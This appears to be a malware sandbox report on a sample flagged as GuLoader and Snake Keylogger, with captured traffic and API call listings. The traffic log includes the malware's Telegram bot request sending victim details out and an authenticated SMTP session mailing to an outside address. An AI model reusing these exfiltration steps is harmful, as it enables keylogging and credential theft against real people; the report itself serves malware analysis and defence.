6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49717	188.114.96.3	443	5916	C:\Users\user\Desktop\________.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 06:36:50 UTC	63	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-12 06:36:50 UTC	846	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 06:36:50 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 14633 Last-Modified: Tue, 12 Nov 2024 02:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k1HiriwtxyLs7CFHf9JqtNoLDHcLsX94ZL9h9PjFzBuyA1eqDliN3JfNkMa7lUVat5FoPjKtfg%2BPKrMqdKg96qs93b3d9YT4EJy1nlZBcZUPnznrplQZrwUMgZ1kk2KSfgCR6Pwg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e14828dff74e71e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2218&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1316962&cwnd=235&unsent_bytes=0&cid=c6b6022c044f01f2&ts=154&x=0"
2024-11-12 06:36:50 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49719	188.114.96.3	443	5916	C:\Users\user\Desktop\________.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 06:36:52 UTC	63	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-12 06:36:52 UTC	852	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 06:36:52 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 14635 Last-Modified: Tue, 12 Nov 2024 02:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wGQvtMdZAvXSdubkCHtpjw22xZEC77ZJ4%2FDRfmhFRpv6B%2BTTYQ9FiEEjUEIj2D9SD0N1BoL3LPKNwTSiXktjZBCiS%2F9f0RyRu61kBCEYnf2FAos2pzTArdX8q%2BzxkMyaMm377q8S"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e14829b0eb72c87-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1161&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2375717&cwnd=228&unsent_bytes=0&cid=76e7321897af4200&ts=144&x=0"
2024-11-12 06:36:52 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49721	188.114.96.3	443	5916	C:\Users\user\Desktop\________.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 06:36:53 UTC	87	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-12 06:36:53 UTC	856	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 06:36:53 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 14636 Last-Modified: Tue, 12 Nov 2024 02:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bxg6uoI%2B%2B65%2FbW5HMzyV%2FiuEDbqFpI0Px9nd1dCIY56LyZBvwERer%2Bc3oeKxcN%2Flen3PypOMyHuFJ0mRnhLHzh7k6BSMdMIzID9RNHIZAvSBG6TALWeH2UtPbNMzWlwphqtfTyID"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1482a41e412cda-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1586&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=1771253&cwnd=251&unsent_bytes=0&cid=81685d3ccc3213ef&ts=150&x=0"
2024-11-12 06:36:53 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49723	188.114.96.3	443	5916	C:\Users\user\Desktop\________.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 06:36:55 UTC	87	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-12 06:36:55 UTC	856	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 06:36:55 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 14638 Last-Modified: Tue, 12 Nov 2024 02:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ikWQK0qCqSD75HutL%2BuhJWmyQ1zJZRkIOiVws3%2BKWs26oZ1qrRhDlnMSMvzGHlFJc29HxFBMQbl%2FyeGnesJhiDBgaSOwwYXU4r%2BD%2B03xOzLcSXLgOmuHz9UkGEu%2BOr80KRDFn4cb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1482acec2e6b57-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1041&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=701&delivery_rate=2760724&cwnd=233&unsent_bytes=0&cid=a87a8a7fbb3a8ce9&ts=144&x=0"
2024-11-12 06:36:55 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49725	188.114.96.3	443	5916	C:\Users\user\Desktop\________.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 06:36:57 UTC	87	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-12 06:36:57 UTC	852	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 06:36:57 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 14640 Last-Modified: Tue, 12 Nov 2024 02:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RJnTrVUWZKGXTHX40GuS%2F2%2FkLtc7RStWG%2BYA%2FFyqhMGoXHxroe4QRSgMHrjLqV32r398fZ7YP5Woz8FqCmXK0iVTC8rQxROlYEBl9dtFf9wDQcm23Y1KfIZvthdfzhiNA3kdLYY9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1482bc88474791-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1202&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2425460&cwnd=244&unsent_bytes=0&cid=8bfca71eb9b2474b&ts=149&x=0"
2024-11-12 06:36:57 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49727	188.114.97.3	443	5916	C:\Users\user\Desktop\________.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 06:37:00 UTC	87	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-12 06:37:01 UTC	856	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 06:37:00 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 14643 Last-Modified: Tue, 12 Nov 2024 02:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DYR1jjiTf801byK57z4Ebt2zTz8LG%2ByNMLkKmNsQFpI%2BHrZlq2nVhhWHd4SNOkwkiqgTEvSI3K0q%2FjphkUsbYCqWBMEvXzw9zl4%2BlrwcSk2hSxlLh06pEs%2BPI8w9MjRX2h4fSpe%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1482d0c9e2e756-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1150&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=701&delivery_rate=2456318&cwnd=251&unsent_bytes=0&cid=72fec31a94f3b412&ts=149&x=0"
2024-11-12 06:37:01 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49729	188.114.97.3	443	5916	C:\Users\user\Desktop\________.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 06:37:03 UTC	87	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-12 06:37:03 UTC	864	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 06:37:03 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 14646 Last-Modified: Tue, 12 Nov 2024 02:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fdc9%2Ba6kKKclbK5%2Bv8zpl6YdN40LTmDw%2FvSg9KzhNNeczV85Hh%2FJ4CRkIJi%2FTgZQBBBn%2FqyIju0MtZ8p5uxvA9H%2BGOqMD89H%2Bbiwo%2BP0zLBpSdWlxPednmwPzq%2FxPgbaiWIyt8YV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1482e05ee96c3d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2006&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=701&delivery_rate=1428007&cwnd=239&unsent_bytes=0&cid=52f1a5f7ba0cb1c6&ts=147&x=0"
2024-11-12 06:37:03 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49730	149.154.167.220	443	5916	C:\Users\user\Desktop\________.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 06:37:04 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:141700%0D%0ADate%20and%20Time:%2012/11/2024%20/%2018:46:56%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20141700%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-11-12 06:37:04 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 12 Nov 2024 06:37:04 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-12 06:37:04 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Nov 12, 2024 07:37:11.544866085 CET	587	49731	37.27.123.72	192.168.2.8	220-server42.hndservers.net ESMTP Exim 4.98 #2 Tue, 12 Nov 2024 11:37:11 +0500 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 12, 2024 07:37:11.545109987 CET	49731	587	192.168.2.8	37.27.123.72	EHLO 141700
Nov 12, 2024 07:37:11.808736086 CET	587	49731	37.27.123.72	192.168.2.8	250-server42.hndservers.net Hello 141700 [173.254.250.68] 250-SIZE 104857600 250-LIMITS MAILMAX=1000 RCPTMAX=50000 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Nov 12, 2024 07:37:11.809822083 CET	49731	587	192.168.2.8	37.27.123.72	AUTH login d2FqYWhhdEBmb29kZXguY29tLnBr
Nov 12, 2024 07:37:12.073113918 CET	587	49731	37.27.123.72	192.168.2.8	334 UGFzc3dvcmQ6
Nov 12, 2024 07:37:12.386077881 CET	587	49731	37.27.123.72	192.168.2.8	235 Authentication succeeded
Nov 12, 2024 07:37:12.386405945 CET	49731	587	192.168.2.8	37.27.123.72	MAIL FROM:<wajahat@foodex.com.pk>
Nov 12, 2024 07:37:12.651034117 CET	587	49731	37.27.123.72	192.168.2.8	250 OK
Nov 12, 2024 07:37:12.651307106 CET	49731	587	192.168.2.8	37.27.123.72	RCPT TO:<millions1000@proton.me>
Nov 12, 2024 07:37:12.938110113 CET	587	49731	37.27.123.72	192.168.2.8	250 Accepted
Nov 12, 2024 07:37:12.938277006 CET	49731	587	192.168.2.8	37.27.123.72	DATA
Nov 12, 2024 07:37:13.201390982 CET	587	49731	37.27.123.72	192.168.2.8	354 Enter message, ending with "." on a line by itself
Nov 12, 2024 07:37:13.202430010 CET	49731	587	192.168.2.8	37.27.123.72	.
Nov 12, 2024 07:37:13.806675911 CET	587	49731	37.27.123.72	192.168.2.8	250 OK id=1tAkWX-0000000EDpY-12X2
Nov 12, 2024 07:38:50.484103918 CET	49731	587	192.168.2.8	37.27.123.72	QUIT
Nov 12, 2024 07:38:50.947993040 CET	587	49731	37.27.123.72	192.168.2.8	221 server42.hndservers.net closing connection

Target ID:	1
Start time:	01:36:16
Start date:	12/11/2024
Path:	C:\Users\user\Desktop\________.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\________.exe"
Imagebase:	0x400000
File size:	847'584 bytes
MD5 hash:	89B3B4723EA3983FC0F103EAF3093EDC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.1623677806.000000000330D000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:36:30
Start date:	12/11/2024
Path:	C:\Users\user\Desktop\________.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\________.exe"
Imagebase:	0x400000
File size:	847'584 bytes
MD5 hash:	89B3B4723EA3983FC0F103EAF3093EDC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.3975771250.0000000032D61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3975771250.0000000032E67000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	19.5%
Dynamic/Decrypted Code Coverage:	15.2%
Signature Coverage:	19%
Total number of Nodes:	1504
Total number of Limit Nodes:	46

Executed Functions

Function 0040335A Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 00403379
SetErrorMode.KERNELBASE(00008001), ref: 00403384
OleInitialize.OLE32(00000000), ref: 0040338B

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

SHGetFileInfoW.SHELL32(00420690,00000000,?,000002B4,00000000), ref: 004033B3

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

GetCommandLineW.KERNEL32(004281E0,NSIS Error), ref: 004033C8
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\________.exe",00000000), ref: 004033DB
CharNextW.USER32(00000000,"C:\Users\user\Desktop\________.exe",00000020), ref: 00403402
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040350B
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040351C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403528
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040353C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403544
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403555
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040355D
DeleteFileW.KERNELBASE(1033), ref: 00403571
OleUninitialize.OLE32(?), ref: 00403621
ExitProcess.KERNEL32 ref: 00403641
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\________.exe",00000000,?), ref: 0040364D
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\________.exe",00000000,?), ref: 00403659
CreateDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403665
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 0040366C
DeleteFileW.KERNEL32(0041FE90,0041FE90,?,0042A000,?), ref: 004036C6
CopyFileW.KERNEL32(C:\Users\user\Desktop\________.exe,0041FE90,00000001), ref: 004036DA
CloseHandle.KERNEL32(00000000,0041FE90,0041FE90,?,0041FE90,00000000), ref: 00403707
GetCurrentProcess.KERNEL32(00000028,00000004,00000005,00000004,00000003), ref: 0040375D
ExitWindowsEx.USER32(00000002,00000000), ref: 00403799
ExitProcess.KERNEL32 ref: 004037BC

Strings

Error launching installer, xrefs: 004035D8
TEMP, xrefs: 00403550
